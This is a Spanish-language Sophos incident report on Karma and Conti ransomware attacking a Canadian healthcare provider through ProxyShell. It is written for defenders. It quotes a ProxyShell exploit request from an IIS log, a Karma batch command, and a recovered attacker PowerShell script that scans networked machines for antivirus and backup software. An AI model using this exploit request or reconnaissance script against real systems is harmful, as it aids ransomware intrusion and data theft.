photo by jacilluch CC 2.0 license
Búsqueda de Ciberamenazas

Conti y Karma atacan a un proveedor de servicios médicos al mismo tiempo mediante exploits de ProxyShell

A principios de diciembre, un proveedor de servicios médicos de Canadá fue atacado por dos ransomware distintos con tácticas muy diferentes.  El primer grupo de ransomware, identificado como Karma, exfiltró datos pero no cifró los sistemas del objetivo, porque la organización en cuestión se dedicaba a la asistencia sanitaria, según afirmaban en la nota de rescate de los ordenadores de la víctima.

El segundo grupo, identificado como Conti, entró en la red más tarde, pero no tuvo tales reservas. Menos de un día después de que los ciberdelincuentes de Karma lanzaran sus notas de rescate, los actores de Conti desplegaron su ransomware. El equipo de respuesta rápida de Sophos acababa de empezar a hablar con la empresa afectada horas antes, y el cliente aún no había desplegado el software de Sophos en la parte de la red donde el ransomware había sido montado por la banda Conti. Las medidas antimalware existentes (no de Sophos) no impidieron el ataque.

Últimamente tenemos varios casos de afiliados al ransomware que utilizan ProxyShell para penetrar en las redes de las víctimas, incluidos los afiliados a Conti. Y hemos visto ejemplos anteriores de múltiples actores que explotan la misma vulnerabilidad para acceder a una víctima. Pero, muy pocos de esos casos han implicado a dos grupos de ransomware simultáneos.

Montando el ataque

Ambos atacantes consiguieron entrar a través de los exploits “ProxyShell” (dirigidos a CVE-2021-34473, CVE-2021-34523 y CVE-2021-31207 en la plataforma Exchange Server de Microsoft).  La primera intrusión utilizando el exploit se produjo el 10 de agosto de 2021, según consta en el registro de acceso a IIS:

GET /autodiscover/autodiscover.json @evil.corp/owa/?&Email=autodiscover/autodiscover.json%3F@evil.corp&CorrelationID=<empty>;&cafeReqId=7f233041-e437-4b6a-b852-21c9b688f53c; 443 - 74.222.5.43 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 - 302 0 0 122"

Los comandos que siguieron explotaron el shell de gestión de Exchange para crear una cuenta administrativa, “Administrator” y recuperar scripts de tres servidores remotos: uno en Hong Kong, otro en Irán y el último en Rusia.

La cuenta “Administrator” sería utilizada posteriormente por uno de los actores para el movimiento lateral. Aunque no puede confirmarse a partir de los datos disponibles, es probable que este primer exploit fuera realizado por un intermediario de acceso que posteriormente vendió el acceso a uno de los operadores del ransomware (o a ambos).

El 11 de noviembre se produjo una segunda serie de intrusiones con la cadena de exploits ProxyShell. Este ataque instaló un web shell en la instancia del servidor web IIS del Exchange Server.

Los esfuerzos reales para penetrar más profundamente en la red comenzaron en serio semanas después. Entre el 29 y el 30 de noviembre, los registros del sistema mostraron más de 20 intentos y esfuerzos fallidos para conectarse a otros servidores (incluyendo un controlador de dominio), así como una conexión exitosa por parte de la cuenta “Administrator” a otro servidor de aplicaciones web desde el servidor de correo. En algún momento del 30 de noviembre, la cuenta “Administrator” fue utilizada para acceder a una sesión RDP en una máquina virtual o estación de trabajo, que fue utilizada para realizar los intentos de conexión.  Esta actividad parece estar relacionada con la banda Karma.

Mientras tanto, otra cuenta comprometida realizó una serie de conexiones de Protocolo de Escritorio Remoto a otros servidores desde un endpoint comprometido diferente, y ejecutó comandos PowerShell descargando balizas Cobalt Strike desde el mismo host utilizado para los scripts el 30 de noviembre.

El 30 de noviembre, después de algunos intentos en otros sistemas, el atacante, utilizando la cuenta de administrador, se conectó con éxito a otro sistema (104[.]168.44.130), lanzando scripts por lotes que instalaban las “balizas” de Cobalt Strike como un servicio. Cobalt Strike se desplegó en servidores de correo electrónico, controladores de dominio y algunos otros sistemas, y al día siguiente se atacaron más.

La recolección comenzó también el 1 de diciembre, con la creación de archivos .RAR de datos en múltiples sistemas.

Las cosas se complican

Los días 1 y 2 de diciembre, la banda de Karma terminó de recopilar datos y los subió al servicio de almacenamiento en la nube Mega, filtrando 52 gigabytes de archivos. A continuación se desplegó el malware Karma, utilizando la cuenta de administrador comprometida.

El malware distribuyó la nota de rescate a través de un servicio creado en cada sistema objetivo, que copiaba la nota desde su ubicación original y lanzaba un archivo por lotes, por ejemplo:

%COMSPEC% /C echo del C:\KARMA_RANSOMWARE_README!!!.txt ^> %SYSTEMDRIVE%\WINDOWS\Temp\QWvVYzfhbjXaDiRa.txt > \WINDOWS\Temp\UIoTiUDorGDZImRd.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\UIoTiUDorGDZImRd.bat

Al llegar al trabajo el 3 de diciembre, los empleados de la organización objetivo, encontraron la nota de rescate de Karma como fondo de pantalla en unas 20 estaciones de trabajo y servidores. La nota de rescate afirmaba que los datos sólo habían sido exfiltrados y no cifrados porque Karma había identificado el objetivo como una organización sanitaria.

En ese momento, la organización llamó al equipo de Rapid Response Sophos, y se celebró una videollamada inicial a primera hora del 3 de diciembre, y se pusieron en marcha herramientas de supervisión para empezar a entender lo que había sucedido. Pero a las pocas horas del inicio de la intervención de Rapid Response, el segundo grupo de ransomware lanzó su ataque.

Dos cuentas comprometidas estaban activas el 3 de diciembre: la cuenta de administrador y una segunda cuenta con privilegios administrativos. Una de estas cuentas instaló el navegador Chrome en el servidor de archivos principal.

A continuación, a través de la cuenta de administrador comprometida, se desplegó el malware en uno de los servidores de la organización. La muestra, 64.dll, fue identificada por SophosLabs como Conti. Se cargó mediante regsvr.exe. Como parte de su ejecución, se lanzó un archivo por lotes, def.bat, que contenía comandos para desactivar Windows Defender en el servidor objetivo.

Esto tuvo lugar incluso mientras Karma lanzaba notas de rescate en otros sistemas. Mientras tanto, las defensas de la red de la organización detectaron y bloquearon la actividad de Cobalt Strike procedente de uno de los servidores de correo de la organización (no el que servía de punto de entrada). Las comunicaciones C2 de Cobalt Strike detectadas se dirigían a un servidor en un centro de datos de los Países Bajos operado por una empresa de alojamiento búlgara. La segunda cuenta comprometida se utilizó para descargar las balizas de Cobalt Strike a otros sistemas de la red.

Poco después, la segunda cuenta comprometida se utilizó para soltar un script en una carpeta local de un servidor de dominio, ese script de PowerShell, llamado Get-DataInfo.ps1, recopilaba datos de la red a través de consultas de Windows Management Instrumentation y los enviaba a un servidor de comando y control remoto.  Parte del script se recuperó de los registros del sistema; busca software de interés en los ordenadores de la red, incluido el software antimalware y de copia de seguridad, así como otro software que podría interferir con el cifrado por parte del ransomware.

function Get-Software{
<#Variables#>
$av_list = @("Traps", "threat", "Sentinel", "Defence", "Defender", "Endpoint", "AV", "AntiVirus", "BitDefender", "Kaspersky", "Norton", "Avast", "WebRoo", "AVG", "ESET", "Malware", "Defender", "Sophos", "Trend", "Symantec Endpoint Protection", "Security")
$backup_list = @("Veeam", "Backup", "Recovery", "Synology", "C2", "Cloud", "Dropbox", "Acronis", "Cobian", "EaseUS", "Paragon", "IDrive" )
$exclude_list = @("KONICA", "UltraVnc", "Update", "Hitachi Storage Navigator Modular", ".NET", "Office", "Adobe", "Word", "Excel", "Outlook", "PowerPoint", "Publisher", "Java", "Office", "Learning", "Support", "done")
$computername = Get-Content ".\result\livePCs.txt" -ReadCount 0  
$ErrorActionPreference = "Stop"
$Branch = "LocalMachine"
$SubBranch = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
$SubBranch64 = "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
$tabName = "SampleTable"
$table = New-Object system.Data.DataTable $table_name
$col1 = New-Object system.Data.DataColumn SystemName,([string])
$col2 = New-Object system.Data.DataColumn Type,([string])
$col3 = New-Object system.Data.DataColumn Name,([string])
$col4 = New-Object system.Data.DataColumn Hide,([string])
$table.columns.add($col1)
$table.columns.add($col2)
$table.columns.add($col3)
$table.columns.add($col4)
$computers = $computername.Length
$x = 0
write-host -foregroundcolor cyan "Grubbing Software.info"
write-host -foregroundcolor cyan "Testing $computers computers, this may take a while."
foreach ($computer in $computername)  
{
if (Test-Connection -ComputerName $computer -Quiet -count 2 -BufferSize 4 -Delay 1){
        Try{
            $registry=[microsoft.win32.registrykey]::OpenRemoteBaseKey($Branch,$computer)
$registrykey=$registry.OpenSubKey($Subbranch)
            $SubKeys=$registrykey.GetSubKeyNames()
            Foreach ($key in $subkeys){
                                       $exactkey=$key  
                                       $NewSubKey=$SubBranch+"\\"+$exactkey  
                                       $ReadUninstall=$registry.OpenSubKey($NewSubKey)  
                                       $Value=$ReadUninstall.GetValue("DisplayName") 
  foreach($exclude in $exclude_list){
  if($Value -notmatch $exclude){
  foreach ($ Av in $ av_list) {
  if ($ Value -match $ Av) {
  $row = $table.NewRow()
  $row.SystemName = $computer
  $row.Type = "AV"
  $row.Name = $Value
  $table.Rows.Add($row)
  }}
  foreach($backup in $backup_list){
  if($Value -match $backup){
  $row = $table.NewRow()
  $row.SystemName = $computer
  $row.Type = "Backup"
  $row.Name = $Value
  #$row.Hide = '=IF(AND(A2=A1, B2=B1),"hide","show")'
  $table.Rows.Add($row)
  }}
             }}}}Catch{Add-Content "$registry" -path .\result\error.txt}
         Try{
            $registry=[microsoft.win32.registrykey]::OpenRemoteBaseKey($Branch,$computer)
            $registrykey=$registry.OpenSubKey($Subbranch64)
            $SubKeys=$registrykey.GetSubKeyNames()
            Foreach ($key in $subkeys){
                                       $exactkey=$key  
                                       $NewSubKey=$SubBranch+"\\"+$exactkey  
                                       $ReadUninstall=$registry.OpenSubKey($NewSubKey)  
                                       $Value=$ReadUninstall.GetValue("DisplayName") 
  foreach($exclude in $exclude_list){
  if($Value -notmatch $exclude){ 
  foreach ($ Av in $ av_list) {
  if ($ Value -match $ Av) {
  $row = $table.NewRow()
  $row.SystemName = $computer
  $row.Type = "AV"
  $row.Name = $Value
  $table.Rows.Add($row)
  }}
  foreach($backup in $backup_list){
  if($Value -match $backup){
  $row = $table.NewRow()
  $row.SystemName = $computer
  $row.Type = "Backup"
  $row.Name = $Value
  #$row.Hide = '=IF(AND(A2=A1, B2=B1),"hide","show")'
  $table.Rows.Add($row)
  }}
  }}}
}Catch{Add-Content "$registry" -path .\result\error.txt}
$testcomputer_progress = [int][Math]::Ceiling((($x / $computers) * 100))
# Progress bar
Write-Progress  "Grubbing Software.info" -PercentComplete $testcomputer_progress -Status "Percent Complete - $testcomputer_progress%" -Id 1;
Sleep(1);
$x++; 
}}
write-host -foregroundcolor cyan "Grubbing Software.info complete"
$tabCsv = $table | export-csv .\result\Software.csv -noType }

El script ha estado en actividades anteriores asociadas con el backdoor Bazar y con el ransomware Ryuk. (El archivo en sí no se recuperó).

A última hora del 3 de diciembre, se exfiltraron más datos (por valor de 10,7 gigabytes) a Mega utilizando el navegador Chrome colocado en el servidor de archivos ese mismo día; esto parece ser la exfiltración del grupo Conti. Momentos después, el ataque del ransomware Conti comenzó en serio, con el archivo def.bat implementado para suprimir la detección de Windows Defender. El ransomware cifró los archivos en la unidad C: de los sistemas afectados y eliminó la nota de rescate.

Consecuencias

Estos dos ataques de ransomware ponen de manifiesto los riesgos asociados a las vulnerabilidades conocidas del software orientado a Internet, al menos aquellas que son conocidas por los ciberdelincuentes pero que pueden no serlo para las organizaciones que utilizan el software afectado. Las organizaciones de todos los tamaños pueden quedarse atrás en la gestión de las vulnerabilidades, por lo que es importante contar con varias capas de defensa contra la actividad maliciosa. La protección contra el malware tanto en los servidores como en los clientes puede impedir que los operadores de ransomware utilicen servidores desprotegidos para lanzar sus ataques.

En este caso, el acceso inicial se produjo más de 3 meses antes de que hubiera actividad de ransomware. Esto sugiere la posibilidad de que un “intermediario de acceso” descubriera la vulnerabilidad de ProxyShell y la ofreciera a la venta o simplemente se quedara con ella hasta que los afiliados al ransomware la quisieran.

A pesar de la monitorización de la red y de algunas defensas contra el malware, los dos atacantes en este caso fueron capaces de lograr en gran medida sus objetivos tácticos. Sólo unos pocos sistemas contaban con protección contra malware de Sophos en el momento del ataque de Conti, ya que la organización objetivo no había tenido tiempo de desplegarla. En los pocos casos en los que se había desplegado Sophos, la protección contra ransomware detectó el lanzamiento de Conti, pero el ransomware se ejecutó en gran medida desde servidores sin protección.

Como resultado, gran parte de los datos de la organización estaban cifrados, al igual que las notas de rescate de Karma. (Sophos detecta el ransomware Karma y Conti, por comportamiento y firma; en este caso Conti fue detectado como Troj/Conti-C y Troj/Ransom-GLU, y bloqueado por CryptoGuard en los sistemas protegidos; el script Bazar fue detectado por comportamiento como Mem/bazarld-c, Mem/bazarld-d y Mem/conti-b).

En la página GitHub de SophosLabs se ha publicado una lista completa de IOCs para este ataque.

 

Agradecemos las contribuciones de Mauricio Valdivieso, Melissa Kelly, Johnathan Fern y Matthew Everts del equipo de Respuesta Rápida de Sophos, y Rahul Dugar y Heli Sheth de SophosLabs a este informe.